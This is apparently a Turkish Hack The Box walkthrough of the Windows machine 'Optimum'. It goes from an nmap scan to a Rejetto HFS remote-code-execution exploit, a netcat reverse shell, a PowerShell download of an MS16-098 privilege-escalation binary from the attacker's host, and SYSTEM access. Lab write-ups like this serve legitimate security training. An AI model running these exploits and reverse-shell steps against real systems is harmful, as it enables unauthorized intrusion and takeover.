| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Optimum - HTB | Kolay | Windows |  |
Walkthrough
Nmap taraması ile başlayalım.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 10:58 EDT
Nmap scan report for 10.10.10.8
Host is up (0.073s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 2012|7|8|Phone|2008|8.1|Vista (91%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 (90%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (85%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 74.29 ms 10.10.14.1
2 74.73 ms 10.10.10.8
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 255.73 seconds
Sadece 80 açık. Sayfaya gittiğimde HttpFileServer 2.3 uygulamasını gördüm. Bunun üzerine uygulamaya ait exploitleri araştırmaya başladım.
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# searchsploit Rejetto Http File Server 2.3.x
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) | windows/webapps/49125.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# cp $(locate windows/remote/39161.py) .
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# head -n 20 39161.py
#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
# It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
# It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux.
#Usage : python Exploit.py <Target IP address> <Target Port Number>
#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).
# You may need to run it multiple times for success!
Bulmuş olduğumuz exploit'in bazı bağımlıkları bulunmakta bunun için nc aracına ve bir http aracına ihtiyacımız var.
Önceklikle nc aracını indirelim.
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# wget https://github.com/kudayDOTsite/fuzzdb/raw/master/web-backdoors/exe/nc.exe
--2021-07-28 08:29:55-- https://github.com/kudayDOTsite/fuzzdb/raw/master/web-backdoors/exe/nc.exe
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/kudayDOTsite/fuzzdb/master/web-backdoors/exe/nc.exe [following]
--2021-07-28 08:29:56-- https://raw.githubusercontent.com/kudayDOTsite/fuzzdb/master/web-backdoors/exe/nc.exe
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28160 (28K) [application/octet-stream]
Saving to: ‘nc.exe’
nc.exe 100%[=========================================================================================================================================>] 27.50K --.-KB/s in 0.01s
2021-07-28 08:29:56 (1.92 MB/s) - ‘nc.exe’ saved [28160/28160]
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# ls
39161.py nc.exe
Şimdi http sunucusunu ayağa kaldıralım. Ve exploiti alıştıralım. Exploiti çalıştırmadan önce reverse için içeride kendi ip'nizi setlemeyi unutmayın.
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# python2 39161.py 10.10.10.8 80
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.8 - - [28/Jul/2021 08:31:04] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.8 - - [28/Jul/2021 08:31:04] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.8 - - [28/Jul/2021 08:31:04] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.8 - - [28/Jul/2021 08:31:04] "GET /nc.exe HTTP/1.1" 200 -
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# nc -lvp 443
listening on [any] 443 ...
10.10.10.8: inverse host lookup failed: Unknown host
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.8] 49162
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D0BC-0196
Directory of C:\Users\kostas\Desktop
03/08/2021 11:56 �� <DIR> .
03/08/2021 11:56 �� <DIR> ..
18/03/2017 03:11 �� 760.320 hfs.exe
18/03/2017 03:13 �� 32 user.txt.txt
2 File(s) 760.352 bytes
2 Dir(s) 31.887.118.336 bytes free
C:\Users\kostas\Desktop>type user.txt.txt
type user.txt.txt
d0c39******************************
C:\Users\kostas\Desktop>Harika ilk flagi aldık. Makine eski bir makine bu yüzden çok falza güvenlik açığı mevcut. Hemen bunları araştırmak için systeminfo dosyası oluşturup kali'ye kopyaladım.
C:\Users\kostas\Desktop>cmd.exe /c systeminfo > systeminfo.txt
cmd.exe /c systeminfo > systeminfo.txt
C:\Users\kostas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D0BC-0196
Directory of C:\Users\kostas\Desktop
04/08/2021 12:33 �� <DIR> .
04/08/2021 12:33 �� <DIR> ..
18/03/2017 03:11 �� 760.320 hfs.exe
04/08/2021 12:33 �� 3.334 systeminfo.txt
18/03/2017 03:13 �� 32 user.txt.txt
3 File(s) 763.686 bytes
2 Dir(s) 31.887.114.240 bytes free
C:\Users\kostas\Desktop>type systeminfo.txt
type systeminfo.txt
Host Name: OPTIMUM
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-70000-00000-AA535
Original Install Date: 18/3/2017, 1:51:36 ��
System Boot Time: 3/8/2021, 11:54:43 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4.095 MB
Available Physical Memory: 3.485 MB
Virtual Memory: Max Size: 5.503 MB
Virtual Memory: Available: 4.938 MB
Virtual Memory: In Use: 565 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: \\OPTIMUM
Hotfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.8
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
C:\Users\kostas\Desktop>Şimdi bunu Windows-Exploit-Suggester aracı ile inceleyelim. Bu araç ne yazıkki python2 ile geliştirilmiş. Gerçi python3 halini biri yazmış ve request'te bulunmuş ancak biz python2 hali ile kullanmaya devam edelim. Kalide repoya kütüphane eklerken sıkıntı yaşayacağınızı düşünüyorum. pip2'yi kurabilmek için http://144.76.171.171/blog/index.php/python2-laneti-pip2/ yazısını inceleyebilirsiniz. Aracı başarılı bir şekilde kurduğunuzu varsayarak devam ediyorum.
┌──(root💀kali)-[~/tool/Windows-Exploit-Suggester]
└─# python windows-exploit-suggester.py --database 2021-07-28-mssb.xls --systeminfo /root/oscp/htb/Optmum/systeminfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*]
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*] https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*]
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*] https://github.com/foxglovesec/RottenPotato
[*] https://github.com/Kevin-Robertson/Tater
[*] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*]
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*] https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*] https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*]
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*] https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*]
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*] https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*] https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*] https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*] https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*]
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*] https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*] https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*] https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*]
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*] Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*]
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*] https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*] https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*]
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*] https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*] https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*]
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*] https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*]
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*] https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*]
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*] https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*]
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*] https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*]
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*] https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*]
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*] https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*]
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*] https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*]
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*] http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*]
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*]
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*] https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*] http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*] http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*] http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*] http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*] http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*] http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*]
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] doneBuradaki exploitleri teker teker incelemeye başlamıştım ve bir tanesinin çoktan derlendiğini gördüm.
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# searchsploit 41020
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-098) | windows_x86-64/local/41020.c
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# searchsploit -m 41020.c
Exploit: Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-098)
URL: https://www.exploit-db.com/exploits/41020
Path: /usr/share/exploitdb/exploits/windows_x86-64/local/41020.c
File Type: C source, ASCII text, with CRLF line terminators
Copied to: /root/oscp/htb/Optmum/41020.c
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# head 41020.c
// Source: https://github.com/sensepost/ms16-098/tree/b85b8dfdd20a50fc7bc6c40337b8de99d6c4db80
// Binary: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>
Hemen çalıştığım dizine bu exploiti indirdim.
C:\Users\kostas\Desktop>powershell -c "Invoke-WebRequest -Uri http://10.10.14.12/41020.exe -OutFile C:\Users\kostas\Desktop\41020.exe"
powershell -c "Invoke-WebRequest -Uri http://10.10.14.12/41020.exe -OutFile C:\Users\kostas\Desktop\41020.exe"
C:\Users\kostas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D0BC-0196
Directory of C:\Users\kostas\Desktop
04/08/2021 02:44 �� <DIR> .
04/08/2021 02:44 �� <DIR> ..
04/08/2021 02:44 �� 135.680 41020.exe
18/03/2017 03:11 �� 760.320 hfs.exe
04/08/2021 12:33 �� 3.334 systeminfo.txt
18/03/2017 03:13 �� 32 user.txt.txt
4 File(s) 899.366 bytes
2 Dir(s) 31.887.454.208 bytes free
Exploiti çalıştırdığımda...
┌──(root💀kali)-[~/oscp/htb/Optmum]
└─# nc -lvp 443 1 ⨯
listening on [any] 443 ...
10.10.10.8: inverse host lookup failed: Unknown host
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.8] 49178
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas
C:\Users\kostas\Desktop>41020.exe
41020.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami
nt authority\system
C:\Users\kostas\Desktop>
Şimdi flagi okuyalım.
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D0BC-0196
Directory of C:\Users\Administrator\Desktop
18/03/2017 03:14 �� <DIR> .
18/03/2017 03:14 �� <DIR> ..
18/03/2017 03:14 �� 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 31.885.844.480 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
51*************************************
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